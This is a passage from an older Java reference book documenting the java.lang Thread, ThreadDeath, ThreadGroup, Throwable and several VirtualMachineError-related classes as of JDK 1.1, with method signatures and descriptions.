The ThreadGroup object that this Thread object is to be added to.

target

A reference to an object that implements the Runnable interface.

Throws

SecurityException

If the checkAccess() method of the SecurityManager throws a SecurityException.

Description

Creates a Thread object that belongs to the specified ThreadGroup object, has the same daemon attribute as the current thread, has the same priority as the current thread, and has a default name.

A Thread object created with this constructor invokes the run() method of the specified Runnable object when the Thread object's start() method is called.

Calling this constructor is equivalent to:

Thread(group, target, genName)

genName is an automatically generated name of the form "Thread-"+n, where n is an integer that is incremented each time a Thread object is created.

public Thread(ThreadGroup group, Runnable target, String name)

Parameters

group

The ThreadGroup object that this Thread object is to be added to.

target

A reference to an object that implements the Runnable interface.

name

The name of this Thread object.

Throws

SecurityException

If the checkAccess() method of the SecurityManager throws a SecurityException.

Description

Creates a Thread object that belongs to the specified ThreadGroup object, has the same daemon attribute as the current thread, has the same priority as the current thread, and has the specified name.

A Thread object created with this constructor invokes the run() method of the specified Runnable object when the Thread object's start() method is called.

The uniqueness of the specified Thread object's name is not checked, which may be a problem for programs that attempt to identify Thread objects by their names.

public Thread(ThreadGroup group, String name)

Parameters

group

The ThreadGroup object that this Thread object is to be added to.

name

The name of this Thread object.

Throws

SecurityException

If the checkAccess() method of the SecurityManager throws a SecurityException.

Description

Creates a Thread object that belongs to the specified ThreadGroup object, has the same daemon attribute as the current thread, has the same priority as the current thread, and has the specified name.

A Thread object created with this constructor invokes its own run() method when the Thread object's start() method is called. This is not useful unless the object belongs to a subclass of the Thread class that overrides the run() method. Calling this constructor is equivalent to:

Thread(group, null, name)

The uniqueness of the specified Thread object's name is not checked, which may be a problem for programs that attempt to identify Thread objects by their name.

Class Methods

activeCount

public static int activeCount()

Returns

The current number of threads in the ThreadGroup of the currently running thread.

Description

This method returns the number of threads in the ThreadGroup of the currently running thread for which the isAlive() method returns true.

currentThread

public static native Thread currentThread()

Returns

A reference to the Thread object that controls the currently executing thread.

Description

This method returns a reference to the Thread object that controls the currently executing thread.

dumpStack

public static void dumpStack()

Description

This method outputs a stack trace of the currently running thread.

enumerate

public static int enumerate(Thread tarray[])

Parameters

tarray

A reference to an array of Thread objects.

Returns

The number of Thread objects stored in the array.

Description

This method stores a reference in the array for each of the Thread objects in the ThreadGroup of the currently running thread for which the isAlive() method returns true.

Calling this method is equivalent to:

currentThread().getThreadGroup().enumerate(tarray)

If the array is not big enough to contain references to all the Thread objects, only as many references as will fit are put into the array. No indication is given that some Thread objects were left out, so it is a good idea to call activeCount() before calling this method, to get an idea of how large to make the array.

interrupted

public static boolean interrupted()

Returns

true if the currently running thread has been interrupted; otherwise false.

Description

This method determines whether or not the currently running thread has been interrupted.

sleep

public static native void sleep(long millis)

Parameters

millis

The number of milliseconds that the currently running thread should sleep.

Throws

InterruptedException

If another thread interrupts the currently running thread.

Description

This method causes the currently running thread to sleep. The method does not return until at least the specified number of milliseconds have elapsed.

While a thread is sleeping, it retains ownership of all locks. The Object class defines a method called wait() that is similar to sleep() but causes the currently running thread to temporarily relinquish its locks.

public static void sleep(long millis, int nanos)

Parameters

millis

The number of milliseconds that the currently running thread should sleep.

nanos

An additional number of nanoseconds to sleep.

Throws

InterruptedException

If another thread interrupts the currently running thread.

Description

This method causes the currently running thread to sleep. The method does not return until at least the specified number of milliseconds have elapsed.

While a thread is sleeping, it retains ownership of all locks. The Object class defines a method called wait() that is similar to sleep() but causes the currently running thread to temporarily relinquish its locks.

Note that Sun's reference implementation of Java does not attempt to implement the precision implied by this method. Instead, it rounds to the nearest millisecond (unless millis is 0, in which case it rounds up to 1 millisecond) and calls sleep(long).

yield

public static native void yield()

Description

This method causes the currently running thread to yield control of the processor so that another thread can be scheduled.

Instance Methods

checkAccess

public void checkAccess()

Throws

SecurityException

If the checkAccess() method of the SecurityManager throws a SecurityException.

Description

This method determines if the currently running thread has permission to modify this Thread object.

countStackFrames

public native int countStackFrames()

Returns

The number of pending method invocations on this thread's stack.

Description

This method returns the number of pending method invocations on this thread's stack.

destroy

public void destroy()

Description

This method is meant to terminate this thread without any of the usual cleanup (i.e., any locks held by the thread are not released). This method provides a last-resort way to terminate a thread. While a thread can defeat its stop() method by catching objects thrown from it, there is nothing that a thread can do to stop itself from being destroyed.

Note that Sun's reference implementation of Java does not implement the documented functionality of this method. Instead, the implementation of this method just throws a NoSuchMethodError.

getName

public final String getName()

Returns

The name of this thread.

Description

This method returns the name of this Thread object.

getPriority

public final int getPriority()

Returns

The priority of this thread.

Description

This method returns the priority of this Thread object.

getThreadGroup

public final ThreadGroup getThreadGroup()

Returns

The ThreadGroup of this thread.

Description

This method returns a reference to the ThreadGroup that this Thread object belongs to.

interrupt

public void interrupt()

Description

This method interrupts this Thread object.

Note that prior to version 1.1, Sun's reference implementation of Java does not implement the documented functionality of this method. Instead, the method just sets a private flag that indicates that an interrupt has been requested. None of the methods that should throw an InterruptedException currently do. However, the interrupted() and isInterrupted() methods do return true after this method has been called.

isAlive

public final native boolean isAlive()

Returns

true if this thread is alive; otherwise false.

Description

This method determines whether or not this Thread object is alive. A Thread object is alive if it has been started and has not yet died. In other words, it has been scheduled to run before and can still be scheduled to run again. A thread is generally alive after its start() method is called and until its stop() method is called.

isDaemon

public final boolean isDaemon()

Returns

true if the thread is a daemon thread; otherwise false.

Description

This method determines whether or not this thread is a daemon thread, based on the value of the daemon attribute of this Thread object.

isInterrupted

public boolean isInterrupted()

Returns

true if this thread has been interrupted; otherwise false.

Description

This method determines whether or not this Thread object has been interrupted.

join

public final void join()

Throws

InterruptedException

If another thread interrupts this thread.

Description

This method allows the thread that calls it to wait for the Thread associated with this method to die. The method returns when the Thread dies. If this thread is already dead, then this method returns immediately.

public final synchronized void join(long millis)

Parameters

millis

The maximum number of milliseconds to wait for this thread to die.

Throws

InterruptedException

If another thread interrupts this thread.

Description

This method causes a thread to wait to die. The method returns when this Thread object dies or after the specified number of milliseconds has elapsed, whichever comes first. However, if the specified number of milliseconds is zero, the method will wait forever for this thread to die. If this thread is already dead, the method returns immediately.

public final synchronized void join(long millis, int nanos)

Parameters

millis

The maximum number of milliseconds to wait for this thread to die.

nanos

An additional number of nanoseconds to wait.

Throws

InterruptedException

If another thread interrupts this thread.

Description

This method causes a thread to wait to die. The method returns when this Thread object dies or after the specified amount of time has elapsed, whichever comes first. However, if millis and nanos are zero, the method will wait forever for this thread to die. If this thread is already dead, the method returns immediately.

Note that Sun's reference implementation of Java does not attempt to implement the precision implied by this method. Instead, it rounds to the nearest millisecond (unless millis is 0, in which case it rounds up to 1 millisecond) and calls join(long).

resume

public final void resume()

Throws

SecurityException

If the checkAccess() method of the SecurityManager throws a SecurityException.

Description

This method resumes a suspended thread. The method causes this Thread object to once again be eligible to be run. Calling this method for a thread that is not suspended has no effect.

run

public void run()

Implements

Runnable.run()

Description

A Thread object's start() method causes the thread to invoke a run() method. If this Thread object was created without a specified Runnable object, the Thread object's own run() method is executed. This behavior is only useful in a subclass of Thread that overrides this run() method, since the run() method of the Thread class does not do anything.

setDaemon

public final void setDaemon(boolean on)

Parameters

on

The new value for this thread's daemon attribute.

Throws

IllegalThreadStateException

If this method is called after this thread has been started and while it is still alive.

SecurityException

If the checkAccess() method of the SecurityManager throws a SecurityException.

Description

This method sets the daemon attribute of this Thread object to the given value. This method must be called before the thread is started. If a thread dies and there are no other threads except daemon threads alive, the Java virtual machine stops.

setName

public final void setName(String name)

Parameters

name

The new name for this thread.

Throws

SecurityException

If the checkAccess() method of the SecurityManager throws a SecurityException.

Description

This method sets the name of this Thread object to the given value. The uniqueness of the specified Thread object's name is not checked, which may be a problem for programs that attempt to identify Thread objects by their name.

setPriority

public final void setPriority(int newPriority)

Parameters

newPriority

The new priority for this thread.

Throws

IllegalArgumentException

If the given priority is less than MIN_PRIORITY or greater than MAX_PRIORITY.

SecurityException

If the checkAccess() method of the SecurityManager throws a SecurityException.

Description

This method sets the priority of this Thread to the given value.

start

public synchronized native void start()

Throws

IllegalThreadStateException

If this Thread object's start() method has been called before.

Description

This method starts this Thread object, allowing it to be scheduled for execution. The top-level code that is executed by the thread is the run() method of the Runnable object specified in the constructor that was used to create this object. If no such object was specified, the top-level code executed by the thread is this object's run() method.

It is not permitted to start a thread more than once.

stop

public final void stop()

Throws

SecurityException

If the checkAccess() method of the SecurityManager throws a SecurityException.

Description

This method causes this Thread object to stop executing by throwing a ThreadDeath object. The object is thrown in this thread, even if the method is called from a different thread. This thread is forced to stop whatever it is doing and throw a newly created ThreadDeath object. If this thread was suspended, it is resumed; if it was sleeping, it is awakened. Normally, you should not catch ThreadDeath objects in a try statement. If you need to catch ThreadDeath objects to detect a Thread is about to die, the try statement that catches ThreadDeath objects should rethrow them.

When an object is thrown out of the run() method associated with a Thread, the uncaughtException() method of the ThreadGroup for that Thread is called. The uncaughtException() method normally outputs a stack trace. However, uncaughtException() treats a ThreadDeath object as a special case by not outputting a stack trace. When the uncaughtException() method returns, the thread is dead. The thread is never scheduled to run again.

If this Thread object's stop() method is called before this thread is started, the ThreadDeath object is thrown as soon as the thread is started.

public final synchronized void stop(Throwable o)

Parameters

o

The object to be thrown.

Throws

SecurityException

If the checkAccess() method of the SecurityManager throws a SecurityException.

Description

This method causes this Thread object to stop executing by throwing the given object. Normally, the stop() method that takes no arguments and throws a ThreadDeath object should be called instead of this method. However, if it is necessary to stop a thread by throwing some other type of object, this method can be used.

The object is thrown in this thread, even if the method is called from a different thread. This thread is forced to stop whatever it is doing and throw the Throwable object o. If this thread was suspended, it is resumed; if it was sleeping, it is awakened.

When an object is thrown out of the run() method associated with a Thread, the uncaughtException() method of the ThreadGroup for that Thread is called. If the thrown object is not an instance of the ThreadDeath class, uncaughtException() calls the thrown object's printStackTrace() method and then the thread dies. The thread is never scheduled to run again.

If this Thread object's stop() method is called before this thread is started, the ThreadDeath object is thrown as soon as the thread is started.

suspend

public final void suspend()

Throws

SecurityException

If the checkAccess() method of the SecurityManager throws a SecurityException.

Description

This method suspends a thread. The method causes this Thread object to temporarily be ineligible to be run. The thread becomes eligible to be run again after its resume() method is called. Calling this method for a thread that is already suspended has no effect.

toString

public String toString()

Returns

A string representation of this Thread object.

Overrides

Object.toString()

Description

This method returns a string representation of this Thread object.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

IllegalThreadStateException, InterruptedException, Object, Runnable, SecurityException, SecurityManager, ThreadGroup

Previous | Home | Next
System | Book Index | ThreadDeath
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] ThreadDeath

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

ThreadDeath

Name

ThreadDeath

Synopsis

Class Name:

java.lang.ThreadDeath

Superclass:

java.lang.Error

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

A ThreadDeath object is thown by the stop() method of a Thread object to kill the thread. Catching ThreadDeath objects is not recommended. If it is necessary to catch a ThreadDeath object, it is important to rethrow the object so that it is possible to cleanly stop the catching thread.

Class Summary

public class java.lang.ThreadDeath extends java.lang.Error {
  // Constructors
  public ThreadDeath();
}

Constructors

ThreadDeath

public ThreadDeath()

Description

This constructor creates a ThreadDeath object with no associated detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Error, Thread, Throwable

Previous | Home | Next
Thread | Book Index | ThreadGroup
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] ThreadGroup

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

ThreadGroup

Name

ThreadGroup

Synopsis

Class Name:

java.lang.ThreadGroup

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The ThreadGroup class implements a grouping scheme for threads. A ThreadGroup object can own Thread objects and other ThreadGroup objects. The ThreadGroup class provides methods that allow a ThreadGroup object to control its Thread and ThreadGroup objects as a group. For example, suspend() and resume() methods of a ThreadGroup object call the suspend() and resume() methods of each of the Thread and ThreadGroup objects that belong to the particular ThreadGroup.

When a Java program starts, a ThreadGroup object is created to own the first Thread. Any additional ThreadGroup objects are explicitly created by the program.

Class Summary

public class java.lang.ThreadGroup extends java.lang.Object {
    // Constructors
    public ThreadGroup(String name);
    public ThreadGroup(ThreadGroup parent, String name;
    // Instance Methods
    public int activeCount();
    public int activeGroupCount();
    public boolean allowThreadSuspension(boolean b);       // New in 1.1
    public final void checkAccess();
    public final void destroy();
    public int enumerate(Thread list[]);
    public int enumerate(Thread list[], boolean recurse);
    public int enumerate(ThreadGroup list[]);
    public int enumerate(ThreadGroup list[], boolean recurse);
    public final int getMaxPriority();
    public final String getName();
    public final ThreadGroup getParent();
    public final boolean isDaemon();
    public synchronized boolean isDestroyed();             // New in 1.1
    public void list();
    public final boolean parentOf(ThreadGroup g);
    public final void resume();
    public final void setDaemon(boolean daemon);
    public final void setMaxPriority(int pri);
    public final void stop();
    public final void suspend();
    public String toString();
    public void uncaughtException(Thread t, Throwable e);
}

Constructors

ThreadGroup

public ThreadGroup(String name)

Parameters

name

The name of this ThreadGroup object.

Throws

SecurityException

If the checkAccess() method of the SecurityManager throws a SecurityException.

Description

Creates a ThreadGroup object that has the specified name and the same parent ThreadGroup as the current thread.

public ThreadGroup(ThreadGroup parent, String name)

Parameters

parent

The ThreadGroup object that this ThreadGroup object is to be added to.

name

The name of this ThreadGroup object.

Throws

SecurityException

If the checkAccess() method of the SecurityManager throws a SecurityException.

Description

Creates a ThreadGroup object with the specified name and parent ThreadGroup object.

Instance Methods

activeCount

public int activeCount()

Returns

An approximation of the current number of threads in this ThreadGroup object and any child ThreadGroup objects.

Description

This method returns an approximation of the number of threads that belong to this ThreadGroup object and any child ThreadGroup objects. The count is approximate because a thread can die after it is counted, but before the complete count is returned. Also, after a child ThreadGroup is counted but before the total count is returned, additional Thread and ThreadGroup objects can be added to a child ThreadGroup.

activeGroupCount

public int activeGroupCount()

Returns

An approximation of the current number of child ThreadGroup objects in this ThreadGroup object.

Description

This method returns an approximation of the number of child ThreadGroup objects that belong to this ThreadGroup object. The count is approximate because after a child ThreadGroup is counted but before the total count is returned, additional ThreadGroup objects can be added to a child ThreadGroup.

allowThreadSuspension

public boolean allowThreadSuspension(boolean b)

Availability

New as of JDK 1.1

Parameters

b

A boolean value that specifies whether or not the run-time system is allowed to suspend threads due to low memory.

Returns

The boolean value true.

Description

This method specifies whether or not the Java virtual machine is allowed to suspend threads due to low memory.

checkAccess

public final void checkAccess()

Throws

SecurityException

If the checkAccess() method of the SecurityManager throws a SecurityException.

Description

This method determines if the currently running thread has permission to modify this ThreadGroup object.

destroy

public final void destroy()

Throws

IllegalThreadStateException

If this ThreadGroup object is not empty, or if it has already been destroyed.

SecurityException

If the checkAccess() method of the SecurityManager throws a SecurityException.

Description

This method destroys this ThreadGroup object and any child ThreadGroup objects. The ThreadGroup must not contain any Thread objects. This method also removes the ThreadGroup object from its parent ThreadGroup object.

enumerate

public int enumerate(Thread list[])

Parameters

list

A reference to an array of Thread objects.

Returns

The number of Thread objects stored in the array.

Description

This method stores a reference in the array for each of the Thread objects that belongs to this ThreadGroup or any of its child ThreadGroup objects.

If the array is not big enough to contain references to all the Thread objects, only as many references as will fit are put into the array. No indication is given that some Thread objects were left out, so it is a good idea to call activeCount() before calling this method, to get an idea of how large to make the array.

public int enumerate(Thread list[], boolean recurse)

Parameters

list

A reference to an array of Thread objects.

recurse

A boolean value that specifies whether or not to include Thread objects that belong to child ThreadGroup objects of this ThreadGroup object.

Returns

The number of Thread objects stored in the array.

Description

This method stores a reference in the array for each of the Thread objects that belongs to this ThreadGroup object. If recurse is true, the method also stores a reference for each of the Thread objects that belongs to a child ThreadGroup object of this ThreadGroup.

If the array is not big enough to contain references to all the Thread objects, only as many references as will fit are put into the array. No indication is given that some Thread objects were left out, so it is a good idea to call activeCount() before calling this method, to get an idea of how large to make the array.

public int enumerate(ThreadGroup list[])

Parameters

list

A reference to an array of ThreadGroup objects.

Returns

The number of ThreadGroup objects stored in the array.

Description

This method stores a reference in the array for each ThreadGroup object that belongs to this ThreadGroup or any of its child ThreadGroup objects.

If the array is not big enough to contain references to all the ThreadGroup objects, only as many references as will fit are put into the array. No indication is given that some ThreadGroup objects were left out, so it is a good idea to call activeGroupCount() before calling this method, to get an idea of how large to make the array.

public int enumerate(Thread list[], boolean recurse)

Parameters

list

A reference to an array of ThreadGroup objects.

recurse

A boolean value that specifies whether or not to include ThreadGroup objects that belong to child ThreadGroup objects of this ThreadGroup object.

Returns

The number of ThreadGroup objects stored in the array.

Description

This method stores a reference in the array for each of the ThreadGroup objects that belongs to this ThreadGroup object. If recurse is true, the method also stores a reference for each of the ThreadGroup objects that belongs to a child ThreadGroup object of this ThreadGroup.

If the array is not big enough to contain references to all the ThreadGroup objects, only as many references as will fit are put into the array. No indication is given that some ThreadGroup objects were left out, so it is a good idea to call activeGroupCount() before calling this method, to get an idea of how large to make the array.

getMaxPriority

public final int getMaxPriority()

Returns

The maximum priority that can be assigned to Thread objects that belong to this ThreadGroup object.

Description

This method returns the maximum priority that can be assigned to Thread objects that belong to this ThreadGroup object.

It is possible for a ThreadGroup to contain Thread objects that have higher priorities than this maximum, if they were given that higher priority before the maximum was set to a lower value.

getName

public final String getName()

Returns

The name of this ThreadGroup object.

Description

This method returns the name of this ThreadGroup object.

getParent

public final ThreadGroup getParent()

Returns

The parent ThreadGroup object of this ThreadGroup, or null if this ThreadGroup is the root of the thread group hierarchy.

Description

This method returns the parent ThreadGroup object of this ThreadGroup object. If this ThreadGroup is at the root of the thread group hierarchy and has no parent, the method returns null.

isDaemon

public final boolean isDaemon()

Returns

true if this ThreadGroup is a daemon thread group; otherwise false.

Description

This method determines whether or not this ThreadGroup is a daemon thread group, based on the value of daemon attribute of this ThreadGroup object. A daemon thread group is destroyed when the last Thread in it is stopped, or the last ThreadGroup in it is destroyed.

isDestroyed

public synchronized boolean isDestroyed()

Availability

New as of JDK 1.1

Returns

true if this ThreadGroup has been destroyed; otherwise false.

Description

This method determines whether or not this ThreadGroup has been destroyed.

list

public void list()

Description

This method outputs a listing of the contents of this ThreadGroup object to System.out.

parentOf

public final boolean parentOf(ThreadGroup g)

Parameters

g

A ThreadGroup object.

Returns

true if this ThreadGroup object is the same ThreadGroup, or a direct or indirect parent of the specified ThreadGroup; otherwise false.

Description

This method determines if this ThreadGroup object is the same as the specified ThreadGroup or one of its ancestors in the thread-group hierarchy.

resume

public final void resume()

Throws

SecurityException

If the checkAccess() method of the SecurityManager throws a SecurityException.

Description

This method resumes each Thread object that directly or indirectly belongs to this ThreadGroup object by calling its resume() method.

setDaemon

public final void setDaemon(boolean daemon)

Parameters

daemon

The new value for this ThreadGroup object's daemon attribute.

Throws

SecurityException

If the checkAccess() method of the SecurityManager throws a SecurityException.

Description

This method sets the daemon attribute of this ThreadGroup object to the given value. A daemon thread group is destroyed when the last Thread in it is stopped, or the last ThreadGroup in it is destroyed.

setMaxPriority

public final void setMaxPriority(int pri)

Parameters

pri

The new maximum priority for Thread objects that belong to this ThreadGroup object.

Description

This method sets the maximum priority that can be assigned to Thread objects that belong to this ThreadGroup object.

It is possible for a ThreadGroup to contain Thread objects that have higher priorities than this maximum, if they were given that higher priority before the maximum was set to a lower value.

stop

public final void stop()

Throws

SecurityException

If the checkAccess() method of the SecurityManager throws a SecurityException.

Description

This method stops each Thread object that directly or indirectly belongs to this ThreadGroup object by calling its stop() method.

suspend

public final void suspend()

Throws

SecurityException

If the checkAccess() method of the SecurityManager throws a SecurityException.

Description

This method suspends each Thread object that directly or indirectly belongs to this ThreadGroup object by calling its suspend() method.

toString

public String toString()

Returns

A string representation of this ThreadGroup object.

Overrides

Object.toString()

Description

This method returns a string representation of this ThreadGroup object.

uncaughtException

public void uncaughtException(Thread t, Throwable e)

Parameters

t

A reference to a Thread that just died because of an uncaught exception.

e

The uncaught exception.

Description

This method is called when a Thread object that belongs to this ThreadGroup object dies because of an uncaught exception. If this ThreadGroup object has a parent ThreadGroup object, this method just calls the parent's uncaughtException() method. Otherwise, this method must determine whether the uncaught exception is an instance of ThreadDeath. If it is, nothing is done. If it is not, the method calls the printStackTrace() method of the exception object.

If this method is overridden, the overriding method should end with a call to super.uncaughtException().

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

IllegalThreadStateException, Object, Runnable, SecurityException, SecurityManager, Thread, Throwable

Previous | Home | Next
ThreadDeath | Book Index | Throwable
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] Throwable

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

Throwable

Name

Throwable

Synopsis

Class Name:

java.lang.Throwable

Superclass:

java.lang.Object

Immediate Subclasses:

java.lang.Error, java.lang.Exception

Interfaces Implemented:

java.io.Serializable

Availability:

JDK 1.0 or later

Description

The Throwable class is the superclass of all objects that can be thrown by the throw statement in Java. This is a requirement of the throw statement.

A Throwable object can have an associated message that provides more detail about the particular error or exception that is being thrown.

The Throwable class provides a method that outputs information about the state of the system when an exception object is created. This method can be useful in debugging Java programs.

The subclasses of Throwable that are provided with Java do not add functionality to Throwable. Instead, they offer more specific classifications of errors and exceptions.

Class Summary

public class java.lang.Throwable extends java.lang.Object
                                 implements java.lang.Serializable {
    // Constructors
    public Throwable();
    public Throwable(String message);
    // Instance Methods
    public native Throwable fillInStackTrace();
    public String getLocalizedMessage();               // New in 1.1
    public String getMessage();
    public void printStackTrace();
    public void printStackTrace(PrintStream s);
    public void printStackTrace(PrintWriter s);        // New in 1.1
    public String toString();
}

Constructors

Throwable

public Throwable()

Description

Creates a Throwable object with no associated message. This constructor calls fillInStackTrace() so that information is available for printStackTrace().

public Throwable(String message)

Parameters

message

A message string to be associated with the object.

Description

Create a Throwable object with an associated message. This constructor calls fillInStackTrace() so that information is available for printStackTrace().

Instance Methods

fillInStackTrace

public native Throwable fillInStackTrace()

Returns

A reference to this object.

Description

This method puts stack trace information in this Throwable object. It is not usually necessary to explicitly call this method, since it is called by the constructors of the class. However, this method can be useful when rethrowing an object. If the stack trace information in the object needs to reflect the location that the object is rethrows from, fillInStackTrace() should be called.

getLocalizedMessage

public String getLocalizedMessage()

Availability

New as of JDK 1.1

Returns

A localized version of the String object associated with this Throwable object, or null if there is no message associated with this object.

Description

This method creates a localized version of the message that was associated with this object by its constructor.

The getLocalizedMessage() method in Throwable always returns the same result as getMessage(). A subclass must override this method to produce a locale-specific message.

getMessage

public String getMessage()

Returns

The String object associated with this Throwable object, or null if there is no message associated with this object.

Description

This method returns any string message that was associated with this object by its constructor.

printStackTrace

public void printStackTrace()

Description

This method outputs the string representation of this Throwable object and a stack trace to System.err.

public void printStackTrace(PrintStream s)

Parameters

s

A java.io.PrintStream object.

Description

This method outputs the string representation of this Throwable object and a stack trace to the specified PrintStream object.

public void printStackTrace(PrintStream w)

Availability

New as of JDK 1.1

Parameters

s

A java.io.PrintWriter object.

Description

This method outputs the string representation of this Throwable object and a stack trace to the specified PrintWriter object.

toString

public String toString()

Returns

A string representation of this object.

Overrides

Object.toString()

Description

This method returns a string representation of this Throwable object.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

Error, Exception, Object

Previous | Home | Next
ThreadGroup | Book Index | UnknownError
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] UnknownError

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

UnknownError

Name

UnknownError

Synopsis

Class Name:

java.lang.UnknownError

Superclass:

java.lang.VirtualMachineError

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

An UnknownError is thrown when an error of unknown origins is detected in the run-time system.

Class Summary

public class java.lang.UnknownError
             extends java.lang.VirtualMachineError {
  // Constructors
  public UnknownError();
  public UnknownError(String s);
}

Constructors

UnknownError

public UnknownError()

Description

This constructor creates an UnknownError with no associated detail message.

public UnknownError(String s)

Parameters

s

The detail message.

Description

This constructor creates an UnknownError with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Error, Throwable, VirtualMachineError

Previous | Home | Next
Throwable | Book Index | UnsatisfiedLinkError
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] UnsatisfiedLinkError

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

UnsatisfiedLinkError

Name

UnsatisfiedLinkError

Synopsis

Class Name:

java.lang.UnsatisfiedLinkError

Superclass:

java.lang.LinkageError

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

An UnsatisfiedLinkError is thrown when the implementation of a native method cannot be found.

Class Summary

public class java.lang.UnsatisfiedLinkError
             extends java.lang.LinkageError {
  // Constructors
  public UnsatisfiedLinkError();
  public UnsatisfiedLinkError(String s);
}

Constructors

UnsatisfiedLinkError

public UnsatisfiedLinkError()

Description

This constructor creates an UnsatisfiedLinkError with no associated detail message.

public UnsatisfiedLinkError(String s)

Parameters

s

The detail message.

Description

This constructor creates an UnsatisfiedLinkError with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Error, LinkageError, Throwable

Previous | Home | Next
UnknownError | Book Index | VerifyError
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] VerifyError

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

VerifyError

Name

VerifyError

Synopsis

Class Name:

java.lang.VerifyError

Superclass:

java.lang.LinkageError

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

A VerifyError is thrown when the byte-code verifier detects that a class file, though well-formed, contains some sort of internal inconsistency or security problem.

As part of loading the byte-codes for a class, the Java virtual machine may run the .class file through the byte-code verifier. The default mode of the virtual machine causes it not to verify classes that are found locally, however. Thus, after compiling an applet and running it locally, you may still get a VerifyError when you put it on a web server.

Class Summary

public class java.lang.VerifyError extends java.lang.LinkageError {
  // Constructors
  public VerifyError();
  public VerifyError(String s);
}

Constructors

VerifyError

public VerifyError()

Description

This constructor creates a VerifyError with no associated detail message.

public VerifyError(String s)

Parameters

s

The detail message.

Description

This constructor creates a VerifyError with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Error, LinkageError, Throwable

Previous | Home | Next
UnsatisfiedLinkError | Book Index | VirtualMachineError
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] VirtualMachineError

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

VirtualMachineError

Name

VirtualMachineError

Synopsis

Class Name:

java.lang.VirtualMachineError

Superclass:

java.lang.Error

Immediate Subclasses:

java.lang.InternalError,

java.lang.OutOfMemoryError,

java.lang.StackOverflowError,

java.lang.UnknownError

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The appropriate subclass of VirtualMachineError is thrown to indicate that the Java virtual machine has encountered an error.

Class Summary

public class java.lang.VirtualMachineError extends java.lang.Error {
  // Constructors
  public VirtualMachineError();
  public VirtualMachineError(String s);
}

Constructors

VirtualMachineError

public VirtualMachineError()

Description

This constructor creates a VirtualMachineError with no associated detail message.

public VirtualMachineError(String s)

Parameters

s

The detail message.

Description

This constructor creates a VirtualMachineError with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Error, InternalError, OutOfMemoryError, StackOverflowError, Throwable, UnknownError

